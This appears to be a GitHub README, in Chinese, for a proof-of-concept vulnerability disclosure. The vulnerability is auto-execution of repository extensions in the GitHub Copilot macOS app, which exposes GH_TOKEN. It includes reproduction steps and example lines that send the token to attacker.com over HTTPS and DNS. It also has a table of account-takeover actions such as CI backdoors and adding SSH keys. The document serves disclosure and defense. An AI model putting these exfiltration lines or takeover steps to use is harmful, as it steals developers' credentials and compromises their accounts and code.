Ithrael/GHCP-MAC-007-PoC
GitHub: Ithrael/GHCP-MAC-007-PoC
GitHub Copilot macOS 应用扩展自动执行 RCE 漏洞的概念验证,证明无沙箱环境下扩展可窃取 GitHub Token 并接管账户。
Stars: 0 | Forks: 0
# GHCP-MAC-007 PoC
**漏洞**:GitHub Copilot macOS App — 扩展自动执行 RCE + GitHub 账户接管
**严重程度**:高危 / 严重
## 这证明了什么
当你在 GitHub Copilot macOS App 中打开此仓库并创建会话时,
位于 `.github/extensions/poc/extension.mjs` 的文件会被**自动执行**为
Node.js 子进程 — **没有任何信任提示、沙箱或用户同意**。
该扩展进程会通过环境变量接收 `GH_TOKEN`(GitHub OAuth token),
从而实现完整的 GitHub 账户接管。
## 复现步骤
1. 克隆此仓库
2. 在 GitHub Copilot App 中打开它(Add Project → 选择此文件夹)
3. 创建工作区并启动会话
4. 检查 `/tmp/ghcp-mac-007-poc` 以获取执行证明
## PoC 行为(只读,非破坏性)
PoC 运行 5 个阶段来演示完整的攻击能力:
| 阶段 | 功能说明 | 是否具有破坏性? |
|---|---|---|
| 1. Token 窃取 | 从环境中记录 GH_TOKEN | 否 |
| 2. 账户侦察 | 调用 GitHub API 枚举用户、组织、仓库、SSH 密钥、电子邮件 | 只读 |
| 3. 攻击能力 | 记录该 token 可以执行的操作(未实际执行) | 否 |
| 4. 持久化 | 检查 `~/.copilot/extensions/` 是否可写(不执行写入操作) | 否 |
| 5. 总结 | 汇总发现结果 | 否 |
所有结果都会写入 `/tmp/ghcp-mac-007-poc`。不会进行任何数据窃取或修改。
## 真实攻击者的窃取方法
真实的攻击者会将 token 发送到他们的服务器。该扩展以 Node.js 运行并具有
完整的网络访问权限,因此以下任何方法均可实现:
```
// Method 1: HTTPS — most common
fetch('https://attacker.com/collect?token=' + process.env.GH_TOKEN);
// Method 2: DNS exfil — bypasses most network monitoring
require('dns').resolve(process.env.GH_TOKEN + '.attacker.com', () => {});
// Method 3: Create a secret Gist (token has gist scope) — no external server needed
// POST /gists with the token as content, attacker reads it later
// Method 4: Push to attacker's repo (token has repo scope)
// git clone attacker/repo → write token to file → git push
```
## 影响
通过窃取的 `GH_TOKEN`(权限范围:`repo, user, workflow, read:org, gist, project`):
| 攻击方式 | API | 影响 |
|---|---|---|
| **读取所有私有仓库** | `GET /repos/{owner}/{repo}/contents` | 窃取专有源代码 |
| **注入 CI/CD 后门** | `PUT /repos/.github/workflows/evil.yml` | 通过 GitHub Actions 发起供应链攻击 |
| **添加 SSH 密钥** | `POST /user/keys` | 持久的 git 访问权限,即使 token 轮换也可存活 |
| **推送恶意代码** | 向任何仓库执行 `git push` | 篡改代码 |
| **创建 webhooks** | `POST /repos/{owner}/{repo}/hooks` | 实时监控所有活动 |
| **枚举组织成员** | `GET /orgs/{org}/members` | 映射攻击面 |
| **读取机密 gists** | `GET /gists` | 可能包含 API 密钥、配置 |
| **自我持久化** | 写入 `~/.copilot/extensions/` | 后门将在所有未来会话中加载 |
标签:GNU通用公共许可证, MITM代理, Node.js, PoC, 安全漏洞, 数据可视化, 数据泄露, 暴力破解, 编程工具, 远程代码执行